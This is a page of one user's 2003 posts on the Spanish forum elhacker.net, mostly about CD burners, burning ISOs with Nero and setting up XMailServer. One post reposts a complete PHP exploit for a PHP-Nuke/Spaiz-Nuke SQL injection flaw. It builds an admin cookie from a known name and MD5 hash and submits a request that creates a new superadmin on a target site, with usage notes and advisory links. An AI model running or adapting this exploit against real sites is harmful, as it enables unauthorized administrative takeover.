elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 ... 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 [625] 626 627 628 629 630
6241  Informática / Software / Re:Quemador externo en: 13 Octubre 2003, 13:31 pm
Citar
42x40x42x

Graba 42x, regraba a 40x y lee a 42x.

Citar
¿o es sólo un valor de referencia?

Es un valor verdadero, pero sirve como referencia porque luego nunca graba exactamente a esa velocidad, pero evidentemente una grabadora a 52x bien configurada grabará más rápido que una grabadora a 48x

Una regrabadora externa siempre es más lenta que una interna, no por la velocidad de grabación, sinó porque se conectan al ordenador por puerto USB y este siempre es más lento que IDE.

Pero los puertos USB 2.0 transfieren mucho más rápido que el USB 1.1, por lo que van bastante rápido, pero nunca tan rápido como una interna, y más si tienemos en cuenta que ya existe ATA 133.

Además algunas grabadoras externas necesitan alimentación externa, es decir enchufar al USB del ordenador y a la corriente.....
6242  Seguridad Informática / Nivel Web / exploit para el BuG de Inyeccion SQL para PHP-Nuke todas sus versiones.... en: 10 Octubre 2003, 16:32 pm
Citar
exploit para el BuG de Inyeccion SQL para PHP-Nuke todas sus versiones y Spainz-Nuke en PHP

blade ha escrito un exploit para el BuG de Inyeccion SQL para PHP-Nuke todas sus versiones y Spainz-Nuke en PHP, lo ha probado con las versiones Oficiales de PHP-Nuke y funciona perfectamente :D.... Crea un administrador en el Portal vulnerable, a base de tener el nombre actual de el administrador y su password en MD5, un derivado del bug...


Código:
<?php
/*             PHP-Nuke & Spaiz-Nuke SQL Injection Exploit
                              By
            BBBBBBBB    lll    aaaaaaaa    ddddddd    eeeeeeeee
            BBBBBBBBB   lll    aaaaaaaaa  ddddddddde  eeeeeeeee
           BBBBBBBBBB  lll     aaaaaaaaad ddddddddde eeeeeeeeee
                  BBB  lll            aad         de
                  BBB  lll    aaaaaaaaaad        dde eeeeeeeeee
           BBBBBBBBBB  lll    aaaaaaaaaad ddd    dde eeeeeeeeee
          BBBBBBBBBB   lll    aaaaaaaaaa ddd     ddeeeeeeeeeeee
          BBBBBBBBBB  lll     aaa    aaa ddd    dddeeee
          BBB    BBB  lll     aaa    aaa ddd    ddd eee
          BBB   BBBB  lll    aaa     aaa ddd    ddd eee
          BBBBBBBBB   lllllllaaa         dddddddddd eeeeeeeeee
         BBBBBBBBB     llllllaaa        ddddddddddd  eeeeeeeee
         BBBBBBBB       lllll aa        dddddddddd    eeeeeee
                          <blade@abez.org>

|Blade «blade@abez.org»|
###www.abez.org Of AbeZ
##www.rzw.com.ar By XyborG
#www.fihezine.tsx.to Of FiH eZine
*/
 echo'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>
      <title>PHP-Nuke &amp; Spaiz-Nuke Injection Exploit v1.0 By Blade</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><STYLE type=text/css>
      .bginput  { FONT-SIZE: 9px; COLOR: #000000; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif }
      A:link    { COLOR: #000066; TEXT-DECORATION: none }
      A:visited { COLOR: #000066; TEXT-DECORATION: none }
      A:active  { COLOR: #000066; TEXT-DECORATION: none }
      A:hover   { COLOR: #000066; TEXT-DECORATION: none }
      .button   { FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif }
      </STYLE></head><body>';
     
 if (($action == "go") and ($server) and ($add_name) and ($add_email) and ($add_aid)){

        $admin_name = chop($admin_name); $admin_hash = chop($admin_hash);
        $server = chop($server); $add_pwd = chop($add_pwd);
        $hash = $admin_name . ":" . $admin_hash . ":";
        $hash = base64_encode($hash);
       
 echo "<form name='add' method='get' action='http://" . $server . "/admin.php'>
       <input type='hidden' name='op' value='AddAuthor'>
       <input type='hidden' name='add_name' value='" . $add_name . "'>
       <input type='hidden' name='add_aid' value='" . $add_aid . "'>
       <input type='hidden' name='add_email' value='" . $add_email . "'>
       <input type='hidden' name='add_url' value='" . $add_url . "'>
       <input type='hidden' name='add_pwd' value='" . $add_pwd . "'>
       <input type='hidden' name='add_radminsuper' value='" . $add_radminsuper . "'>
       <input type='hidden' name='admin' value=" . $hash .">
       <center><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>Servidor
       vulnerable : <strong>http://" . $server . "</strong> . <br>Clave Hash : <strong>" .
       $hash . "</strong> . <br>New Administrator : <strong>" . $add_name . "</strong>.
       In case that these data are not correct he returns from
       <a href='javascript:history.back()'><strong>«Here»</strong></a>.</font>
       <br><br><font size='1' face='Verdana, Arial, Helvetica, sans-serif'><b>Si son correctos
       continue la operacion agregando el nuevo Administrador.</b></font></center>
       <center><input name='AddSysop' type='submit' id='AddSysop' value='Agregar Administrador' class='button'></center>
       </form>";
                             
 } else {
 
 echo'<FORM action="' . $PHP_Self . '" method=post>
      <p align="center"><u><strong><font size="2" face="Verdana, Arial, Helvetica, sans-serif">
      <input name="action" type="hidden" id="action" value="go">
      </font></strong></u></p>
      <div align="center">
      <TABLE width="65%" border=0 align="center" cellPadding=0 cellSpacing=0>
      <TR><TD colspan="3"><div align="center"><strong><font color="#003366" size="1" face="Verdana, Arial, Helvetica, sans-serif">Servidor
      Vulneable:</font></strong></div></TD>
      </TR>
      <TR>
      <TD width="39%"> <div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Direccion
      Servidor:</strong></font></div></TD>
      <TD width="13%"><div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">http://</font></div></TD>
      <TD width="48%"><div align="left"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      </font>
      <input name="server" type="text" class="bginput" id="server" value="www.">
      </div></TD>
      </TR>
      <TR>
      <TD> <div align="center"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Nombre
      Admin :</font></strong></div></TD>
      <TD>&nbsp;</TD>
      <TD> <p align="left">
      <input name="admin_name" type="text" id="admin_name" class="bginput">
      </p></TD>
      </TR>
      <TR>
      <TD><div align="center"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Password
          MD5:</font></strong></div></TD>
      <TD>&nbsp;</TD>
      <TD> <p align="left">
      <input name="admin_hash" type="text" id="admin_hash" size="50" class="bginput">
      </p></TD>
      </TR>
      </TABLE>
      <br>
      </div>
      <TABLE width="50%" border=0 align="center">
      <TBODY>
      <TR>
      <TD colspan="2"><div align="center"><strong><font color="#003366" size="1" face="Verdana, Arial, Helvetica, sans-serif">Datos
      de la Cuenta:</font></strong></div></TD>
      </TR>
      <TR>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Nombre:</font></TD>
      <TD><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      <INPUT maxLength=50 size=30 name=add_name class="bginput">
      <FONT class=tiny>(Obligatorio)</FONT></font></strong></TD>
      </TR>
      <TR>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Nickname:</font></TD>
      <TD><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      <INPUT maxLength=30 size=30 name=add_aid class="bginput">
      <FONT class=tiny>(Obligatorio)</FONT></font></strong></TD>
      </TR>
      <TR>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">E-Mail:</font></TD>
      <TD><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      <INPUT maxLength=60 size=30 name=add_email class="bginput">
      <FONT class=tiny>(Obligatorio)</FONT></font></strong></TD>
      </TR>
      <TR>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">URL:</font></TD>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      <INPUT name=add_url class="bginput" value="http://www." size=30 maxLength=60>
      <strong>
      <input name="add_radminsuper" type="hidden" id="add_radminsuper" value="1">
      </strong> </font></TD>
      </TR>
      <TR>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Password:</font></TD>
      <TD><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
      <INPUT type=password maxLength=12 size=12 name=add_pwd class="bginput">
      <FONT class=tiny><strong>(Obligatorio)</strong></FONT></font></TD>
      </TR>
      <INPUT type=hidden value=AddAuthor name=op>
      <TR>
      <TD>&nbsp;</TD>
      </TR>
      </TABLE>
      <div align="center">
      <p align="center">
      <INPUT name="submit" type=submit value="Crear Administrador" class="button">
      </p>
      </FORM>';
     
 } if ($action != "go"){
 
 echo'<div align="center"><u><font size="2" face="Verdana, Arial, Helvetica, sans-serif"></font></u></div>
      <table width="100%" border="0" align="center">
      <tr>
      <td colspan="2"><div align="center"><font color="#003366" size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Como
      Usar: </strong></font></div><td>
      </tr>
      <tr>
      <td width="18%"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Direccion
      Servidor :</font></strong></td>
      <td width="82%"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es
      la URL correspondiente al Portal vulnerable en PHP-Nuke. Ejemplo: www.phpnuke.org.</font></td>
      </tr>
      <tr>
      <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Nombre
      Admin :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es la identidad
      en valor de nombre, del administrador del cual se conoce el password cifrado.
      Ejemplo : xMan.</font></td>
      </tr>
      <tr>
     
    <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Password
      MD5 :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es el password
      cifrado en MD5 del administrador, cuyo nombre se conoce. Ejemplo: QmxhZGU6MWVhNTJmMjZlN2UwY2UwOGU0NjJmODdmNWUzNTA5NmM6</font></td>
      </tr>
      <tr>
      <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Nombre
      :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es el nombre
      correspondiente al nuevo Administrador a crear. Ejemplo: BaxGo.</font></td>
      </tr>
      <tr>
      <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Nickname
      :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es el Nick
      o Apodo, figurante para el nuevo administrador. Ejemplo: SysBack </font></td>
      </tr>
      <tr>
      <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;E-Mail
      :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es el E-mail
      que figurar&aacute; en la nueva cuenta del Administrador. Ejemplo: sysback@phpnuke..com</font></td>
      </tr>
      <tr>
      <td><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;URL
      :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es la URL
      del Website del nuevo administrador. </font></td>
      </tr>
      <tr>
      <td height="14"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&raquo;Password
      :</font></strong></td>
      <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Es el password,
      del cual el nuevo Administrador depender&aacute; para ingresar en su futura
      cuenta. </font></td>
      </tr>
      </table>
      <br>
      <div align="center">
      <table width="45%" border="0">
      <tr>
      <td colspan="2"><div align="center"><font color="#003366" size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Referencias:</strong></font></div></td>
      </tr>
      <tr>
      <td width="47%"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mas
      Informacion De :</font></div></td>
      <td width="53%"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://rst.void.ru/texts/advisory10.htm" target="_blank">http://rst.void.ru</a>
      </font> <font size="1" face="Verdana, Arial, Helvetica, sans-serif"></font></div></td>
      </tr>
      <tr>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Mas
      Informacion</strong> De :</font></div></td>
      <td><div align="center"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://www.rzw.com.ar/article895.html" target="_blank"><u>http://www.rzw.com.ar</u></a></font></strong></div></td>
      </tr>
      <tr>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mas
      Informacion De :</font></div></td>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://www.security.nnov.ru/search/document.asp?docid=5201" target="_blank">http://www.security.nnov.ru</a></font></div></td>
      </tr>
      <tr>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mas
      Informacion De :</font></div></td>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://www.securityfocus.com/archive/1/340664" target="_blank">http://www.securityfocus.com</a></font><font size="1" face="Verdana, Arial, Helvetica, sans-serif"></font></div></td>
      </tr>
      <tr>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mas
      Informacion De :</font></div></td>
      <td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><a href="http://www.cyruxnet.com.ar/phpnuke_modules.htm" target="_blank">http://www.cyruxnet.com.ar</a></font></div></td>
      </tr>
      </table>';

 }
       
 echo'<center><p><font color="#003366" size="2" face="Verdana, Arial, Helvetica, sans-serif"><a href="mailto:blade@abez.org"><strong><u>PHP-Nuke
      &amp; Spaiz-Nuke SQL Injection Exploit By Blade.</u></strong></a></font></p></center>
      </div>
      </body>
      </html>';
?>


+ Info
http://cyruxnet.com.ar/phpnuke_modules.htm



¿Cómo parchear?

http://www.phpsecure.info/


Otras:
http://www.securityfocus.com/bid/8764
http://www.securityfocus.com/bid/8798
6243  Informática / Software / Re:Quemar ISO'S en: 7 Octubre 2003, 10:26 am
jejeje, pues no te extrañe, porque he visto las mismas explicaciones (copiar/pegar) en 3 sitios diferentes.......

Pero en otros sitios en inglés, decian lo de disc-at-once para clonar cd's y grabar iso's:

http://www.cdrfaq.org
http://www.linuxiso.org/viewdoc.php/howtoburn.html

Citar
From the menu, click on File.
Select Create CD From Disc Image from the drop down menu.
On the CD creation Setup window, click the Advanced Button, then choose Disk at Once. If you use Track at once, you'll get an unusable CD.

http://members.home.nl/lsnoek/iso.htm#Nero%20Burning%20ROM

Citar
Launch Nero.
Choose File, Burn Image and you'll be presented with a dialog box.
Click on the Files of type: dropdown box and select All Files (*.*).
Select the .ISO file you downloaded then press Open.
Next, Nero will show another dialog box of CD burning options.  Accept the defaults:
Type of Image: Data Mode 1
Block size (Bytes): 2048
Image header (Bytes): 0
Image trailer (Bytes): 0)
Choose OK.
The Write CD dialog box should appear next.
Make sure Write, Finalize CD, and Disc-At-Once are checked, then choose Write.


Y también lo dice Mordor, del que me fío más xDDD

F.A.Q. de la grabadora: v. 0.7
http://www.elhacker.net/foro/index.php?board=12;action=display;threadid=6283

Bueno cuando sepa algo en claro, lo comento.
6244  Informática / Software / Re:Quemar ISO'S en: 7 Octubre 2003, 09:44 am
bueno me creo que funciona, pero me gustaría saber que método de grabación es el adecuado...... y el porque funciona con los dos métodos.... :)

En todos los sitios que he buscado comenta que para clonar un CD --> disc-at-once y para grabar una iso no queda tan claro, asi que imagino se puede hacer de las dos maneras......

Pero no me voy a dormir con esta duda existencial......  :o
6245  Informática / Software / Re:Quemar ISO'S en: 7 Octubre 2003, 09:28 am
no pasa nada, no te preocupes...

ya me voy aclarando, pero no me gustan las opciones "por defecto",  o sea me gusta saber cómo lo hace y el porqué,  y eso que uso el asistente (no siempre) pero aunque use el asistente me gusta saber como lo graba......

Así es como se aprende. El otro dia hablaba con un amigo y usa el asistente del nero y tal y no se habia enterado que existia la opción de cd's multisesion, o sea cuando el graba un cd de datos aunque sean 100 MB, ya lo cierra y luego usa otro cd......

Te quiero decir con eso, el gran error de mucha gente, que como el Nero ya le funciona bien, no se entera de nada, apenas sabe hacer un cd porque sigue los pasos y a mi me gusta saber que métodos de grabación hay y todas las opciones "raras" que hayan.

Luego pasa que cuando sale un nuevo virus y la ostia de palurdos se infectan porque abren archivos adjuntos sin ninguna precaución....., porque no se fijan, no se enteran y no quieren aprender xDDD

He tostado varias isos y me pone siempre que son bootables o sea que lo debo estar haciendo bien, pero igualmente me gusta saber más :D

Y si estas en el nero y estás sin el wizard (con el new compilation), y pones Burn Image (Quemar Imagen), seleccionas la iso, pues te pone por defecto para quemar la imagen track-at-once y es disc-at-once....... aunque no se si lo grabas coomo track-at-once funcionará, ni idea...

En cambio si estás en el asistente  (el wizard ese) y pones Quemar Imagen y seleccionas la ISO te la quema directamente sin preguntar nada.....

Creo que el Clone CD usa disc-at-once y por eso hace las copias clavaditas (y aunque tengan protecciones).
6246  Informática / Software / Re:Quemar ISO'S en: 7 Octubre 2003, 07:14 am
Citar
Disc-at-once es para cuado queremos grabar cds de tamaño extra osea superiores a los 80 minutos o 700 MB mientras que cuando no queremos esto la opcion a usar sera Track-at-once (recomiendo siempre tener esta opcion en preferencias del nero pues la opcion puede ser peligrosa para nuestra tostadora con lo que solo la marcaremos cuando sea necesaria para la grabacion de cds de tamaño extra)


Pues yo sigo pensando que las iso y las copias de cd's se hacen con el disc-at once -->

Citar
Si queremos copiar un disco a otro, como por ejemplo para realizar una copia idéntica, éste debería ser el método a emplear y también deberíamos de decantarnos por el DAO en el caso de querer crear un disco de audio, para que todas las canciones queden almacenadas en la primera-y única- sesión, que es la única que pueden leer.

De:
http://www.insertcdr.com/articulos/metodosg.php

También comenta lo mismo Mordor en su FAQ:

http://www.elhacker.net/foro/index.php?board=12;action=display;threadid=6283

(Punto 8 --> 8. Métodos de grabación:)

O sea que por lo que he leído grabar una ISO en track-at-once es igual a tirar el cd a la basura......, pero si he leido para que hacer cd's de tamaño "extra" hay que hacer servir disc-at-once obligatoriamente.

Me has engañado Songoku xDDDD

Citar
y la forma de grabar pues lo que dice goku, para tamaño extra disc-at-once y para las demas track-at-once (al menos asi lo hago yo


Y tu también Cobac, me estáis liando joder xDDDD

el Disc-at-once/96 ni idea para que sirve.

Y pensaba que para que un cd fuera bootable habia que "Finalizarlo"........., pero veo que no :P

Bueno sigo con mis investigaciones, no me gusta que el nero eliga por mí, aunque lo haga bien, prefiero saber como lo hace..... :D
6247  Informática / Software / Re:Quemar ISO'S en: 7 Octubre 2003, 02:03 am
No me gusta usar el Nero Express, porque me gusta saber como lo graba y saber un poco de temas de grabación, que estoy un poco pez!!

Por eso quiero sabe esas opciones:

Citar
Finalize CD --> tiene que estar marcada (por lo que he leído una imagen iso o una copia de un cd, debe ser un cd cerrado y no multisesión claro ¿voy bien?

Write Method --> Disc-at-once  (creo que es este método, igual que sería para grabar un cd y en este caso una ISO). Track-at-once seria para hacer cd's multisesión ¿voy bien?

¿Y disc-at-once/96, para cuándo lo hago servir?
6248  Informática / Software / Quemar ISO'S en: 6 Octubre 2003, 15:05 pm
Hola,

Bueno he estado leyendo y creo que lo tengo claro, pero aún así prefiero preguntar para no meter la pata :P

Mis preguntas son de confirmación :) (espero).

Uso el Nero 5.5.x.x -->

Si utilizo para quemar un ISO el wizard (el asistente) y le pongo "Burn Image" --> tan sólo me pregunta a que velocidad quiero grabar, en cambio si lo hago con el "New Compilation" (sin el asistente) y le digo "Burn Image" y me deja elegir estas opciones:

Finalize CD --> tiene que estar marcada (por lo que he leído una imagen iso o una copia de un cd, debe ser un cd cerrado y no multisesión claro ¿voy bien?

Write Method --> Disc-at-once  (creo que es este método, igual que sería para grabar un cd y en este caso una ISO). Track-at-once seria para hacer cd's multisesión ¿voy bien?

¿Y disc-at-once/96, para cuándo lo hago servir?

Imagino que si no pongo finalizar cd y lo grabo en track-at-once el cd' es para tirar y además no sería bootable ni nada :P
6249  Informática / Software / ¿Regrabadoras a 32x, CD-RW a 12x? en: 3 Octubre 2003, 07:59 am
Hola,

Es una duda tonta y una curiosidad más bien.... pero mi flamante regrabadora tiene velocidad de regrabar a 32x pero no venden cd's regrabables (RW) a más de 12x....

¿Esto es normal? ¿Para cuándo?

Imagino que es una limitación física de los propios cd's......
6250  Informática / Tutoriales - Documentación / Tutorial XMailServer (Servidor de Correo) en: 1 Octubre 2003, 08:58 am
v.0.5

www.xmailserver.org es un completo y configurable servidor de correo para Linux y Windows.

XMail Version  1.21

Linux/FreeBSD/OpenBSD/Solaris
Linux RPM
Linux SRPM
NT/2k Sources
NT/2k Binaries

Descargar de http://www.xmailserver.org/

Documentación: http://www.xmailserver.org/Readme.html

Configuración práctica (basada en un ejemplo).

wget http://www.xmailserver.org/xmail-1.21.tar.gz
tar xvzf xmail-1.21.tar.gz
cd xmail-1.21
make -f Makefile.lnx

También podemos instalar el RPM
http://www.xmailserver.org/xmail-1.21-1.i386.rpm

El Xmailserver crea un sustituto del sendmail, muy útil, si por ejemplo usamos o usabamos el sendmail para la función mail() del php. No hace falta que toquemos nada, la misma ruta /usr/sbin/sendmail servirá (pero en vez del sendmail lo enviará con el XMail)

La instalación crea un script de inicio para poder arrancar el servidor de correo y parlarlo.

En /var/MailRoot se nos ha instalado XmailServer y aquí tenemos todos los archivos de configuración que necesitamos.

Recuerda que la documentación oficial se encuentra en:

Citar
/var/MailRoot/docs

Archivo principal de configuración:

Citar
/var/MailRoot/server.tab

Recuerda que los espacios son usando el tabulador.

#
# Example configuration file.
# Note : remember to use _REAL_ TABs and " to format this file
#
"RootDomain"   "elhacker.info"
"SmtpServerDomain"   "elhacker.info"
"POP3Domain"   "elhacker.info"
"HeloDomain"   "elhacker.info"
#"PostMaster"   "postmaster@elhacker.info"
"ErrorsAdmin"   "admin@elhacker.info"
#"TempErrorsAdmin"   "send-failures@xmailserver.test"
#"DefaultSMTPGateways"   "192.168.1.2,192.168.1.15"
"RemoveSpoolErrors"   "0"
#"DisableEmitAuthUser"   "1"
#"NotifyMsgLinesExtra"   "8"
#"NotifySendLogToSender"   "0"
#"NotifyTryPattern"   "1"
"MaxMTAOps"   "16"
"ReceivedHdrType"   "0"
"FetchHdrTags"   "+X-Deliver-To,+Received,To,Cc"
#"SmtpMsgIPBanSpammers"   "550 Denied due inclusion of your IP in our spam lists"
#"SmtpMsgIPBanSpamAddress"   "550 Denied due inclusion of your email address in our spam lists"
#"SmtpMsgIPBanMaps"   "550 Denied due inclusion of your IP in the following map"
#"CustomSMTPMessage"   "Please open http://www.xmailserver.test/smtp_errors.html to get more informations about this error"
#"MaxMessageSize"   "20000"
#EnableAuthSMTP-POP3"   "0"
#"Pop3SyncErrorAccount"   "psync-errors@xmailserver.test"
"AllowNullSender"   "1"
#"AllowSmtpVRFY"   "1"
#"AllowSmtpETRN"   "1"
#"SmtpMinDiskSpace"   "100000"
#"SmtpMinVirtMemSpace"   "64000"
#"Pop3MinVirtMemSpace"   "64000"
#"CustMapsList"   "list.dsbl.org.:1,blackholes.mail-abuse.org.:1,dialups.mail-abuse.org.:0"
#"SMTP-RDNSCheck"   "1"
#"CheckMailerDomain"   "1"
#"SmartDNSHost"   "dns.home.bogus.net:tcp,192.168.1.1:udp"
#"DynDnsSetup"   "www.dns4ever.com,80,/sys/u.cgi?d=MYDOMAIN&u=MYUSERNAME&p=MYPASSWORD&i=%s"
#"DynDnsSetup"   "members.dyndns.org,80,/nic/dyndns?action=edit&started=1&hostname=YES&host_id=yourhost.ourdomain.ext&myip=%s&wildcard=OFF&mx=mail.exchanger.ext&backmx=NO,foouser,foopasswd"
#"SmtpConfig"   "mail-auth"
#"SmtpConfig-192.168.0.1"   "mail-auth"
"DefaultSmtpPerms"   "MRVZ"

Ahora le decimos al xmail que el dominio elhacker.info lo llevará él, almenos el correo (las dns y los registros MX han de apuntar a esta máquina (ip)).

Editamos el archivo domains.tab

Citar
"elhacker.info"


Crea las carpetas en "domains" donde se guardaran los e-mails, una carpeta por dominio que tengas.

Citar
/var/MailRoot/domains

Citar
/var/MailRoot/domains/elhacker.info

y dentro de cada carpeta el buzón de cada usuario:

Citar
/var/MailRoot/domains/elhacker.info/alex

Aquí podemos definir el tamaño del buzón con el archivo user.tab:

Citar
/var/MailRoot/domains/elhacker.info/alex/user.tab

Citar
"
RealName"   "Alex"
"HomePage"   "http://www.elhacker.net"
"MaxMBSize"   "30000"
"MaxMessageSize"   "10000"
"SmtpPerms"   "MRV"

Defisinos el tamaño total del buzón de correo (3 MB) y el máximo mensaje a enviar (1 MB) y los permisos smtp, en este caso relay (para poder enviar e-mails).

También se creará un fichero (automáticamente)  llamado .ipconn cuando alguien se conecte a este buzón y quedará registrada la ip desde donde se conecta.

Ahora necesitamos crear el directorio maildir con la siguiente estrucutura:

/var/MailRoot/domains/elhacker.info/alex/Maildir

/var/MailRoot/domains/elhacker.info/alex/Maildir/cur
/var/MailRoot/domains/elhacker.info/alex/Maildir/tmp
/var/MailRoot/domains/elhacker.info/alex/Maildir/new --> donde se guardarán los e-mails

Podemos crear alias de correo en el archivo aliases.tab, de esta manera un e-mail que llegue a "pepito@dominio.com" llegará a la cuenta que le digamos:

Citar
"elhacker.info"   "webmaster"   "alex"
"elhacker.info"   "alexb"   "alex"
"elhacker.info"   "administrador"   "alex"

En el ejemplo, todos los e-mails que lleguen a  webmaster@elhacker.info, alexb@elhacker.info y admin@elhacker.info serán enviados a alex@elhacker.info

Otra manera es que todo lo que se envie a @elhacker.info nos llege a nuestro correo (Nombre técnico: "catch-al"l)

Citar
"elhacker.info"   "*"   "alex"

De esta manera lo_que_sea@elhacker.info nos llegará a alex@elhacker.info

Recuerda siempre "nombre" apretar tabulador "valor" etc. Siempre el espacio es TABULADOR

En mailusers.tab definimos las cuentas de correo pop3 que queramos:


Citar
"elhacker.info"   "alex"   "pass_encritpado"   "1"   "alex"   "U"

"dominio"       "usuario(login)" "pass_encriptado" "numero de cuentas pop" "otra_vez_login" "U"

Para cifrar los password necesitamos un binario (ejecutable) que lleva el Xmail en la carpeta

/var/MailRoot/bin

El binario se llama XMCrypt y su funcionamiento es muy sencillo:

./XMCrypt pass_a_encriptar
gh057utyjfhjas

Nos devuelve un valor que es el password cifrado.

Para enviar e-mails es necesario autentificarse, aunque el Xmail también acepta relay, es decir, enviar e-mails sin validarse.

Recuerda que para enviar y recibir e-mails debes autenticarte usando:

Login: nombre
Pass: password

Podemos especificar las ips o dominios que pueden hacerlo en el archivo smtprelay.tab

Citar
"127.0.0.1"   "255.255.255.255"
"65.114.38.150"   "255.255.255.255"

Para evitar el correo basura, podemos "banear" a los spamers de dos maneras:

1) Por ip

Con el archivo
Citar
spammers.tab

 "*@correobasura.comt"
 "*-admin@dominio.com"

Los e-mails que acaben en "-admin@dominio.com" serán rechazados.

2)Por dirección e-mail

Citar
spam-address.tab

"215.181.173.0"  "255.255.255.0"

la ip y la máscara, por lo tanto todo el rango 215.181.173.x está baneado.


En el fichero

Citar
/var/MailRoot/ctrl.ipmap.tab
podemos añadir aquellas ip's que puede administrar nuestro servidor de correo.

Si queremos que nadie, añadimos esta linea:

"0.0.0.0"   "0.0.0.0"   "DENY"   1

XMail también puede hacer de servidor finger. Para denegar el uso de finger en  nuestro ordenador, editar el archivo:
Citar
/var/MailRoot/finger.ipmap.tab


"0.0.0.0"   "0.0.0.0"   "DENY"   1


El fichero
Citar
/var/MailRoot/ctrlaccounts.tab
debemos añadir los usuarios administradores del XMailServer. Lo podemos dejar en blanco sino queremos usar esta opción.


En los archivos
Citar
smtp.ipmap.tab
y
Citar
pop3.ipmap.tab
podemos especificar si queremos que unas determinadas ips o grupos de ips puedan autenticarse o no. Es decir, si ponemos esto:

"0.0.0.0"   "0.0.0.0"   "DENY"   1

en smtp.ipmap.tab

Nadie podrá enviar e-mails, ni autentificandose ni nada, porque ya no le dará ni acceso. Y lo mismo para el archivo pop3.ipmap.tab.

Por lo tanto lo mejor es poner:

"0.0.0.0"   "0.0.0.0"   "ALLOW"   1

y denegar aquellas que no queremos que ni lo intenten:

"ip_tal"   "255.255.255.255"   "DENY"   2


Falta por explicar:

- Listas de correo

Más info:
http://www.escomposlinux.org/lfs-es/recetas/xmail.html
Páginas: 1 ... 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 [625] 626 627 628 629 630
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines